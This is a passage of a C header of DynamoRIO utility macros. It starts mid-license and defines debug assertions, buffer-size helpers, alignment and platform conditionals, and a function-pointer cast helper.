COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 23 | * ARE DISCLAIMED. IN NO EVENT SHALL GOOGLE, INC. OR CONTRIBUTORS BE LIABLE 24 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 28 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 29 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH 30 | * DAMAGE. 31 | */ 32 | 33 | /* 34 | DynamoRIO utility macros. Copied from the DyanmoRIO project, 35 | http://dynamorio.org/ 36 | */ 37 | 38 | 39 | #ifndef CLIENTS_COMMON_UTILS_H_ 40 | #define CLIENTS_COMMON_UTILS_H_ 41 | 42 | #include "dr_api.h" 43 | 44 | #ifdef DEBUG 45 | # define ASSERT(x, msg) DR_ASSERT_MSG(x, msg) 46 | # define IF_DEBUG(x) x 47 | #else 48 | # define ASSERT(x, msg) /* nothing */ 49 | # define IF_DEBUG(x) /* nothing */ 50 | #endif 51 | 52 | /* XXX: should be moved to DR API headers? */ 53 | #define BUFFER_SIZE_BYTES(buf) sizeof(buf) 54 | #define BUFFER_SIZE_ELEMENTS(buf) (BUFFER_SIZE_BYTES(buf) / sizeof((buf)[0])) 55 | #define BUFFER_LAST_ELEMENT(buf) (buf)[BUFFER_SIZE_ELEMENTS(buf) - 1] 56 | #define NULL_TERMINATE_BUFFER(buf) BUFFER_LAST_ELEMENT(buf) = 0 57 | #define ALIGNED(x, alignment) ((((ptr_uint_t)x) & ((alignment)-1)) == 0) 58 | #define TESTANY(mask, var) (((mask) & (var)) != 0) 59 | #define TEST TESTANY 60 | 61 | #ifdef WINDOWS 62 | # define IF_WINDOWS(x) x 63 | # define IF_UNIX_ELSE(x,y) y 64 | #else 65 | # define IF_WINDOWS(x) 66 | # define IF_UNIX_ELSE(x,y) x 67 | #endif 68 | 69 | /* Checks for both debug and release builds: */ 70 | #define USAGE_CHECK(x, msg) DR_ASSERT_MSG(x, msg) 71 | 72 | static inline generic_func_t 73 | cast_to_func(void *p) 74 | { 75 | #ifdef WINDOWS 76 | # pragma warning(push) 77 | # pragma warning(disable : 4055) 78 | #endif 79 | return (generic_func_t) p; 80 | #ifdef WINDOWS 81 | # pragma warning(pop) 82 | #endif 83 | } 84 | 85 | #endif /* CLIENTS_COMMON_UTILS_H_ */ 86 | --------------------------------------------------------------------------------